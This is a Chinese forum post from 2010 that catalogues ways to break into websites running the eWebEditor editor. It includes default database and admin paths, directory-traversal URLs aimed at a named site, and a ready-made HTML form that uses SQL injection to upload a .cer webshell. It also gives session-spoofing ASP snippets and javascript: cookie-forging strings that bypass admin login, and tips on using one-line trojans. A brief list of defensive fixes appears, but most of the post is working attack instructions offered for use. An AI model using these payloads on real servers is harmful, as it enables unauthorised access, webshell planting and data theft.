清汤泡面 發表於 2010-5-13 14:12:14

Ewebeditor 的一些漏洞总结 推荐

于是像windows一样被黑客们挖掘出很多漏洞,大家莫急,笔者Minghacker总结前人基础,一一道来。 <br /><br />对于目前asp版本的ewebeditor编辑器漏洞主要分为以下7点: <br /><br />默认,遍历目录漏洞,一句话,注入,构造,cookie欺骗,社工(踩脚印入侵), <br /><br />NO1.ewebeditor编辑器一般默认数据库路径是db/ewebeditor.mdb <br />默认的后台路径是admin_login.asp <br />建议最好检测下admin_style.asp文件是否可以直接访问 <br /><br />举例 <br />有个细节需要注意: <br /><br />有抄袭版的;SouthidcEditor <br />数据库SouthidcEditor\Datas\SouthidcEditor.mdb <br />没登陆页面。 <br />利用方法:PopUp.asp页面传图片小马,nc提交,得shell <br />NO2.遍历目录漏洞(具体如下): <br />登陆编辑器---上传文件管理---选择样式目录(随便选一个目录) <br />得到: <br />ewebeditor/admin_uploadfile.asp?id=14 <br />在id=14后面添加&amp;dir=.. <br />再加 &amp;dir=../.. <br />&amp;dir=../../../.. 看到整个网站文件了 <br />此漏洞危害大大的,绝对恐怖 <br /><br />NO3.当数据库被管理员修改为asp、asa后缀的时候,可以插一句话木马服务端进入数据库,然后一句话木马客户端连接拿下webshell <br /><br />NO4.有的时候爆了数据库找不到后台地址让人发急,其实可以试试查看样式表,有没别人加入的asp、asa后缀样式表,也就是虽说的踩着脚印入侵。 <br />还有的时候聪明的管理员也就是加&ldquo;#&rdquo;不妨社工试试,我可没少占便宜的 <br />例如:db/#ewebeditor.asa、db/#ewebeditor.asp 、db/#ewebeditor.mdb <br /><br />NO5.注入2.1.6的注入就不多说了,如下保存为html文件修改action,直接上传cer马 <br /><br />&lt;H1&gt;ewebeditor asp版 2.1.6 上传漏洞利用程序----&lt;/H1&gt;&lt;br&gt;&lt;br&gt; <br />&lt;form action=&quot;http://127.1/e/upload.asp?action=save&amp;type=IMAGE&amp;style=luoye' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, %2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a&quot; method=post name=myform enctype=&quot;multipart/form-data&quot;&gt; <br />&lt;input type=file name=uploadfile size=100&gt;&lt;br&gt;&lt;br&gt; <br />&lt;input type=submit value=Fuck&gt; <br />&lt;/form&gt; <br /><br />有次无意的入侵使我发现了ewebeditor2.7.0版本的存在注入漏洞 <br />简单利用就是 <br />http://site/path/ewebeditor/ewebeditor.asp?id=article_content&amp;style=full_v200 <br /><br />默认表名:eWebEditor_System默认列名:sys_UserName、sys_UserPass,然后利用nbsi进行猜解,对此进行注入取得账号密码 <br /><br />NO6.有的时候管理员不让复制样式,但是你又看到有个样式被别人以前入侵修改了存在asa或者之类可以传shell,但是上传插入工具没有,又无法修改怎么办那?也许很多人说应该可以加工具栏,但是我就遇见过不让加的 <br />这样我们可以利用ewebeditor里的upload.asp文件进行本地构造进行上传具体如下: <br /><br />在action下面 <br />&lt;form action=&quot;&quot; &gt;&gt; <br />&lt;input type=file name=uploadfile size=1 style=&quot;width:100%&quot; onchange=&quot;originalfile.value=this.value&quot;&gt; <br />&lt;input type=&quot;submit&quot; name=&quot;uploadfile&quot; value=&quot;提交&quot;&gt; <br />&lt;input type=hidden name=originalfile value=&quot;&quot;&gt; <br />&lt;/form&gt; <br />------------------------------------------------------------------------------------------------------------------------------------------------ <br />&lt;input type=&quot;submit&quot; name=&quot;uploadfile&quot; value=&quot;提交&quot;&gt; 放在action后头 <br />,适合用于在ewebeditor后台那个预览那里出来的 比如上传图片那里,有些时候上传页面弹不出来,就可以用upload.asp?action=save&amp;type=ASA&amp;style=test 这个本地来提交,不过这个东西还是要数据库里上传类型有ASA才可以传得上。 <br /><br />NO.7还有种方式是最近坏客发现的 <br />利用WebEditor session欺骗漏洞,进入后台: <br />漏洞文件:Admin_Private.asp <br />漏洞语句: <br /><br />&lt;% <br />If Session(&quot;eWebEditor_User&quot;) = &quot;&quot; Then <br />Response.Redirect &quot;admin_login.asp&quot; <br />Response.End <br />End If <br /><br />只判断了session,没有判断cookies和路径的验证问题。 <br />漏洞利用: <br />新建一个amxking.asp内容如下: <br /><br />&lt;%Session(&quot;eWebEditor_User&quot;) = &quot;11111111&quot;%&gt; <br /><br />访问amxking.asp,再访问后台任何文件,for example:Admin_Default.asp <br /><br />  面对此种威胁网站管理员应该做好如下的防范措施: <br />  1、使用了eWebEditor编辑器的网站,应及时修改该编辑器的默认数据库路径和后缀名,建议数据库多方几层目录,防止数据库被黑客非法下载 <br />  2、修改编辑器后台登陆路径和默认的登陆用户名和密码,防止黑客进入后台管理界面 <br />  3、对Upload.asp语句进行修改,防止黑客利用其上传ASP木马从而获得WEB权限 <br />4、及时对网站服务器IIS配置中的应用程序扩展名映射进行整理,确保其它类型的文件不能在服务器网站上运行 <br />ewebeditor 5.2 列目录漏洞 <br /><br />出现漏洞的文件存在于ewebeditor/asp/browse.asp <br /><br />ASP/Visual Basic代码 <br />Function GetList() <br />Dim s_List, s_Url <br />s_List = &quot;&quot; <br />Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName <br />'Response.Write sCurrDir <br />'On Error Resume Next <br />Set oFSO = Server.CreateObject(&quot;Scripting.FileSystemObject&quot;) <br />Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir)) <br />'注意一下sCurrDir变量,这个值等下我们可以用到 <br />If Err.Number&gt;0 Then <br />s_List = &quot;&quot; <br />Exit Function <br />End If <br /><br />If sDir &lt;&gt; &quot;&quot; Then <br />If InstrRev(sDir, &quot;/&quot;) &gt; 1 Then <br />s_Url= Left(sDir, InstrRev(sDir, &quot;/&quot;) - 1) <br />Else <br />s_Url = &quot;&quot; <br />End If <br /><br />s_List = s_List &amp; &quot;&quot; &amp; _ <br />&quot;&quot; &amp; _ <br />&quot;..&quot; &amp; _ <br />&quot; &quot; &amp; _ <br />&quot;&quot; <br />End If <br />'Response.Write sDir&amp;&quot;!&quot;&amp;s_List <br /><br />Dim oSubFolder <br />For Each oSubFolder In oUploadFolder.SubFolders <br />'Response.Write oUploadFolder.SubFolders <br />If sDir = &quot;&quot; Then <br />s_Url = oSubFolder.Name <br />Else <br />s_Url = sDir &amp; &quot;/&quot; &amp; oSubFolder.Name <br />End If <br />s_List = s_List &amp; &quot;&quot; &amp; _ <br />&quot;&quot; &amp; _ <br />&quot;&quot; &amp; oSubFolder.Name &amp; &quot;&quot; &amp; _ <br />&quot; &quot; &amp; _ <br />&quot;&quot; <br />Next <br />'Response.Write s_List <br /><br />Set oUploadFiles = oUploadFolder.Files <br /><br />For Each oUploadFile In oUploadFiles <br />'Response.Write oUploadFile.Name <br />sFileName = oUploadFile.Name <br />If CheckValidExt(sFileName) = True Then <br />'这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了 <br />If sDir = &quot;&quot; Then <br />s_Url = sContentPath &amp; sFileName <br />Else <br />s_Url = sContentPath &amp; sDir &amp; &quot;/&quot; &amp; sFileName <br />End If <br /><br />s_List = s_List &amp; &quot;&quot; &amp; _ <br />&quot;&quot; &amp; FileName2Pic(sFileName) &amp; &quot;&quot; &amp; _ <br />&quot;&quot; &amp; sFileName &amp; &quot;&quot; &amp; _ <br />&quot;&quot; &amp; GetSizeUnit(oUploadFile.size) &amp; &quot;&quot; &amp; _ <br />&quot;&quot; <br />End If <br />Next <br />Set oUploadFolder = Nothing <br />Set oUploadFiles = Nothing <br />'Response.Write Server.HTMLEncode(s_List)&amp;&quot;!&quot;&amp;s_Url <br /><br />If sDir = &quot;&quot; Then <br />s_Url = &quot;&quot; <br />'s_Url = &quot;/&quot; <br />Else <br />s_Url = &quot;/&quot; &amp; sDir &amp; &quot;&quot; <br />'s_Url = &quot;/&quot; &amp; sDir &amp; &quot;/&quot; <br />End If <br /><br />s_List = s_List &amp; &quot;&quot; <br />s_List = HTML2JS(s_List) <br />'Response.Write Server.HTMLEncode(s_List)&amp;&quot;!&quot;&amp;s_Url <br />s_List = &quot;parent.setDirList(&quot;&quot;&quot; &amp; s_List &amp; &quot;&quot;&quot;, &quot;&quot;&quot; &amp; s_Url &amp; &quot;&quot;&quot;)&quot; <br />GetList = s_List <br />End Function <br />'如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名 <br />Function CheckValidExt(s_FileName) <br />If sAllowExt = &quot;&quot; Then <br />CheckValidExt = True <br />Exit Function <br />End If <br /><br />Dim i, aExt, sExt <br />sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, &quot;.&quot;) + 1)) <br />CheckValidExt = False <br />aExt = Split(LCase(sAllowExt), &quot;|&quot;) <br />For i = 0 To UBound(aExt) <br />If aExt(i) = sExt Then <br />CheckValidExt = True <br />Exit Function <br />End If <br />Next <br />End Function <br />'我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的 <br />Sub InitParam() <br />sType = UCase(Trim(Request.QueryString(&quot;type&quot;))) <br />sStyleName = Trim(Request.QueryString(&quot;style&quot;)) <br /><br />Dim i, aStyleConfig, bValidStyle <br />bValidStyle = False <br />For i = 1 To Ubound(aStyle) <br />aStyleConfig = Split(aStyle(i), &quot;|||&quot;) <br />If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then <br />bValidStyle = True <br />Exit For <br />End If <br />Next <br /><br />If bValidStyle = False Then <br />OutScript(&quot;alert('Invalid Style.')&quot;) <br />End If <br /><br />sBaseUrl = aStyleConfig(19) <br />'nAllowBrowse = CLng(aStyleConfig(43)) <br />nAllowBrowse = 1 <br /><br />If nAllowBrowse &lt;&gt; 1 Then <br />OutScript(&quot;alert('Do not allow browse!')&quot;) <br />End If <br /><br />sUploadDir = aStyleConfig(3) <br />If Left(sUploadDir, 1) &lt;&gt; &quot;/&quot; Then <br />Select Case sType <br />Case &quot;REMOTE&quot; <br />sUploadDir = &quot;../../&quot; &amp; sUploadDir &amp; &quot;Image/&quot; <br />Case &quot;FILE&quot; <br />sUploadDir = &quot;../../&quot; &amp; sUploadDir &amp; &quot;Other/&quot; <br />Case &quot;MEDIA&quot; <br />sUploadDir = &quot;../../&quot; &amp; sUploadDir &amp; &quot;Media/&quot; <br />Case &quot;FLASH&quot; <br />sUploadDir = &quot;../../&quot; &amp; sUploadDir &amp; &quot;Flash/&quot; <br />Case Else <br />sUploadDir = &quot;../../&quot; &amp; sUploadDir &amp; &quot;Image/&quot; <br />End Select <br />End If <br />'sUploadDir =sUploadDir &amp;&quot;/&quot; <br /><br />Select Case sBaseUrl <br />Case &quot;0&quot; <br />'sContentPath = aStyleConfig(23) <br />Select Case sType <br />Case &quot;REMOTE&quot; <br />sContentPath = &quot;../&quot; &amp; aStyleConfig(3) &amp; &quot;Image/&quot; <br />Case &quot;FILE&quot; <br />sContentPath = &quot;../&quot; &amp; aStyleConfig(3) &amp; &quot;Other/&quot; <br />Case &quot;MEDIA&quot; <br />sContentPath = &quot;../&quot; &amp; aStyleConfig(3) &amp; &quot;Media/&quot; <br />Case &quot;FLASH&quot; <br />sContentPath = &quot;../&quot; &amp; aStyleConfig(3) &amp; &quot;Flash/&quot; <br />Case Else <br />sContentPath = &quot;../&quot; &amp; aStyleConfig(3) &amp; &quot;Image/&quot; <br />End Select <br />Case &quot;1&quot; <br />sContentPath = RelativePath2RootPath(sUploadDir) <br />Case &quot;2&quot; <br />sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir)) <br />End Select <br /><br />Select Case sType <br />Case &quot;REMOTE&quot; <br />sAllowExt = aStyleConfig(10) <br />Case &quot;FILE&quot; <br />sAllowExt = aStyleConfig(6) <br />Case &quot;MEDIA&quot; <br />sAllowExt = aStyleConfig(9) <br />Case &quot;FLASH&quot; <br />sAllowExt = aStyleConfig(7) <br />Case Else <br />sAllowExt = aStyleConfig(8) <br />End Select <br /><br />sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址 <br />sDir = Trim(Request(&quot;dir&quot;)) '得到dir变量 <br />sDir = Replace(sDir, &quot;\&quot;, &quot;/&quot;) '对dir变量进行过滤 <br />sDir = Replace(sDir, &quot;../&quot;, &quot;&quot;) <br />sDir = Replace(sDir, &quot;./&quot;, &quot;&quot;) <br />If sDir &lt;&gt; &quot;&quot; Then <br />If CheckValidDir(Server.Mappath(sUploadDir &amp; sDir)) = True Then <br />sCurrDir = sUploadDir &amp; sDir &amp; &quot;/&quot; <br />'重点就在这里了,看到没有,当sUploadDir &amp; sDir存在的时候,sCurrDir就为sUploadDir &amp; sDir的值了 <br />'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用st0p会在下面的利用中给出 <br />Else <br />sDir = &quot;&quot; <br />End If <br />End If <br /><br />End Sub <br /><br /><br />嘿嘿,看到这你应该明白了,其实就是对dir过滤的问题,我们完全可以构造特殊的值来跳过验证,这样就可以得到目录结构和显示设置文件中允许的文件后缀的文件了.. <br />利用方法如下 <br />http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&amp;dir=&hellip;././/.. <br />由于st0p测试的时候,上传目录是根目录下的uploadfile,通过上面的地址就可以得到根目录下的所有目录了. <br />嘿嘿,如果你发现打开的时候显示的是空白,不要灰心,这就对了,直接查看源代码,看到了吗,里面就有你根目录的目录名字了. <br />嘿嘿,他根目录下有个guest目录,我们通过下面的地址可以列出他下面的结构 <br />http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&amp;dir=&hellip;././/&hellip;././/guest <br />然后我们也可以通过 <br />http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&amp;dir=&hellip;././/../&hellip;././/.. <br />可以往更上层跳,我测试的那个虚拟主机,得到的是www,logfile,datebase这三个目录. <br /><br /><br />eWebEditorv5.5asp存在session欺骗漏洞! <br />记得以前eWebEditor在线编辑器有个session欺骗漏洞没想到5.5版本也存在! <br /><br />代码如下: <br /><br />'登录检查 <br />Function ChkLogin() <br />If session(&quot;editor_admin&quot;)=&quot;&quot; Or IsNull(session(&quot;editor_admin&quot;)) Then <br />PhilLogin() <br />session.CodePage = session(&quot;PreCodePage&quot;) <br />response.End <br />End If <br />End Function <br /><br />呵呵很明显和以前的版本漏洞一样! <br /><br />只是判断了session. <br /><br />利用方法: <br /><br />新建立个hkok8.asp内容为 <br /><br />&lt;%Session(&quot;editor_admin&quot;) = &quot;admin&quot;%&gt; <br /><br />然后访问hkok8.asp 最后访问登陆文件.刷新ok进去了... <br /><br />要进行这种Session欺骗,必须有三个前提: <br /><br />1.进行欺骗的网页和被欺骗的网页必须位于同一个网站内. <br />2.必须知道管理页面。 <br />3.必须知道Session变量以及它的限制条件。 <br /><br />php版ewebeditor 3.8的漏洞 <br /><br />php版本后台是调用../ewebeditor/admin/config.php,大家去看下源码就知道,在这里我说说利用方法: <br /><br />1 首先当然要找到登陆后台,默认是../eWebEditor/admin/login.php,进入后台后随便输入一个用户和密码,当然会提示出错了,必须是出错的时候,然后这时候你清空浏览器的url,然后输入javascript:alert(document.cookie=&rdquo;adminuser=&rdquo;+escape(&rdquo;admin&rdquo;));javascript:alert(document.cookie=&rdquo;adminpass=&rdquo;+escape(&rdquo;admin&rdquo;));javascript:alert(document.cookie=&rdquo;admindj=&rdquo;+escape(&rdquo;1&Prime;));后三次回车, <br />2 然后输入正常情况才能访问的文件../ewebeditor/admin/default.php就可以进后台了 <br /><br />3 后面的利用和asp一样,新增样式修改上传,就ok了 <br /><br />测试一下asp 2.8版本的,竟然一样可以用,爽,看来asp版的应该可以通杀(只测试2.8的,貌似2.8是最高版本的) <br />aspx的版本../ewebeditor/admin/upload.aspx添好本地的cer的Shell文件,在浏揽器输入javascript:lbtnUpload.click();就能得到shell <br />jsp的上传漏洞以及那个出了N久了,由于没有上传按钮,选择好要上传的shell,直接回车就可以了 <br />哈哈,以后只要ewebeditor的后台可以找到的话,就可以通杀了 所以这个漏洞还是比较酷,建议收藏
頁: [1]
查看完整版本: Ewebeditor 的一些漏洞总结 推荐